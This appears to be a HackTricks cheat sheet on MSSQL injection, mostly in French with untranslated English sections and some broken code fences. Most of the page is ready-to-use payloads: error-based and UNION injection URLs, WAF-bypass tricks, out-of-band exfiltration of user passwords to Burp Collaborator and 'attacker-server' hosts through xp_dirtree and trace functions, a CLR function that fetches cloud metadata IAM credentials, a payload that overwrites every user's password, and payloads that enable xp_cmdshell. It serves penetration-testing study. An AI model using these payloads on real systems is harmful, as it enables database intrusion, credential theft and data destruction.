MSSQL Injection

Injection MSSQL

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Énumération de l'annuaire Active Directory

Il peut être possible de énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL en utilisant les fonctions MSSQL suivantes :

  • SELECT DEFAULT_DOMAIN() : Obtenir le nom de domaine actuel.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')) : Si vous connaissez le nom du domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrateur au format hexadécimal. Cela ressemblera à 0x01050000000[...]0000f401, notez comment les 4 derniers octets sont le nombre 500 au format big endian, qui est l'ID commun de l'utilisateur administrateur. Cette fonction vous permettra de connaître l'ID du domaine (tous les octets sauf les 4 derniers).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Cette fonction renverra le nom d'utilisateur de l'ID indiqué (le cas échéant), dans ce cas 0000e803 en big endian == 1000 (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez effectuer une attaque par force brute sur les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme celle-ci :

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vecteurs basés sur les erreurs alternatifs

Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que +AND+1=@@version-- et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAFs. Pour contourner cela, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonction spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.

Quelques exemples de telles fonctions :

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Exemple d'utilisation de la fonction USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ces astuces SSRF ont été prises ici

fn_xe_file_target_read_file

Il nécessite l'autorisation VIEW SERVER STATE sur le serveur.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Il nécessite l'autorisation CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Il nécessite l'autorisation CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Les procédures stockées telles que xp_dirtree, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers exemples et articles.

La procédure stockée xp_dirtree, par exemple, est utilisée pour effectuer des requêtes réseau, mais elle est limitée au seul port TCP 445. Le numéro de port n'est pas modifiable, mais elle permet de lire à partir de partages réseau. L'utilisation est démontrée dans le script SQL ci-dessous:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations système, telles que sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) s'exécutant sur un Windows Server 2016 Datacenter avec les paramètres par défaut.

De plus, il existe des procédures stockées alternatives telles que master..xp_fileexist et xp_subdirs qui peuvent atteindre des résultats similaires. Des détails supplémentaires sur xp_fileexist peuvent être trouvés dans cet article TechNet.

xp_cmdshell

De toute évidence, vous pourriez également utiliser xp_cmdshell pour exécuter quelque chose qui déclenche un SSRF. Pour plus d'informations, consultez la section pertinente sur la page :

Fonction définie par l'utilisateur MSSQL - SQLHttp

La création d'une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé dans une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accès dbo. Cela signifie que cela est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que sa ou avec un rôle d'administrateur.

Un projet Visual Studio et des instructions d'installation sont fournis dans ce dépôt Github pour faciliter le chargement du binaire dans MSSQL en tant qu'assembly CLR, permettant ainsi l'exécution de requêtes HTTP GET depuis MSSQL.

Le cœur de cette fonctionnalité est encapsulé dans le fichier http.cs, qui utilise la classe WebClient pour exécuter une requête GET et récupérer le contenu comme illustré ci-dessous:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Avant d'exécuter la commande SQL CREATE ASSEMBLY, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance du serveur (visible via select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Après avoir ajouté avec succès l'assembly et créé la fonction, le code SQL suivant peut être utilisé pour effectuer des requêtes HTTP :

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploitation Rapide: Récupération du Contenu Complet de la Table en une Seule Requête

Astuce d'ici.

Une méthode concise pour extraire le contenu complet d'une table en une seule requête consiste à utiliser la clause FOR JSON. Cette approche est plus succincte que l'utilisation de la clause FOR XML, qui nécessite un mode spécifique comme "raw". La clause FOR JSON est préférée pour sa concision.

Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+et+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```plaintext
Accédez à https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--


Scientific (0e) and hex (0x) notation for obfuscating UNION:
  • Utilisation de l'injection SQL MSSQL basée sur l'opérateur UNION:

    • https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

    • https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
```sql
USE [tempdb]
CREATE TABLE [test] ([id] int)
INSERT INTO [test] VALUES(1)
SELECT [id] FROM [test]
DROP TABLE [test]

Can be reduced to:

```sql
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

Ajout d'un exec() inutile à la fin et faire croire au WAF que ce n'est pas une requête valide

admina'union select 1,'admin','testtest123'exec('select 1')--

Cela deviendra :

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

Utilisation de requêtes étrangement construites

admin'exec('update[users]set[password]=''a''')--

Cela deviendra :

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

Ou en activant xp_cmdshell

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Cela deviendra :

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Dernière mise à jour